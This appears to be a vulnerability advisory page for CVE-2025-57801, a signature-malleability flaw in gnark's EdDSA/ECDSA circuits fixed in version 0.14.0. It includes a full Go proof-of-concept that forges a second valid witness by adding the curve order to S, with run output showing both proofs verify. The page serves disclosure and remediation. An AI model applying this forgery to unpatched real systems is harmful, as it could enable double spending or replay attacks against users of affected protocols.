CVE-2025-57801: gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability. Impact Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs.
Published Aug 22, 2025 · Updated Jan 22, 2026
Affected packages
github.com/consensys/gnark
- Ecosystem
- Go
- Affected
- < 0.14.0
- Fixed in
- 0.14.0
- Check
go list -m github.com/consensys/gnark
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to *signature malleability* vulnerability.
Impact
Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.
Exploitation
package main
import (
"crypto/rand"
"fmt"
"math/big"
"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"
te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)
// Circuit
type eddsaCircuit struct {
Msg frontend.Variable `gnark:",public"`
Pk stdEddsa.PublicKey `gnark:",public"`
Sig stdEddsa.Signature
}
func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}
func groupOrder() *big.Int {
// BN254 scalar field order (r)
const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}
// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()
var forged eddsaCrypto.Signature
forged.R = sig.R
s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)
buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}
func main() {
// Generate key pair
priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")
// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)
var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order
// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}
pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}
// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())
// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())
witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}
proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}
// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)
witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness2: %v\n", err)
return
}
proof2, err := groth16.Prove(ccs, pk, witness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
publicWitness2, err := witness2.Public()
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
err = groth16.Verify(proof2, vk, publicWitness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
fmt.Println("Witness 2 (forged): Prover succeeded!")
}
}
}
}Result
go run multiple_witnesses.go
13:47:33 INF compiling circuit
13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3
13:47:33 INF building constraint builder nbConstraints=7003
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583
Witness 1 (honest): Prover succeeded!
true
true
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833
Witness 2 (forged): Prover succeeded!Credits
XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine
SJTU Group of Software Security In Progress
Prof. Yu Yu's Lab at SJTU
Additional mitigation
The initial patch added check for s <= curve order, omitting the case s == curve order. Even though the case is unlikely to be exploitable (requires finding a preimage for H(R || A || M)), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.
Credited to sunyxedu, A7um, XlabAITeam, zL1nX, kexinoh.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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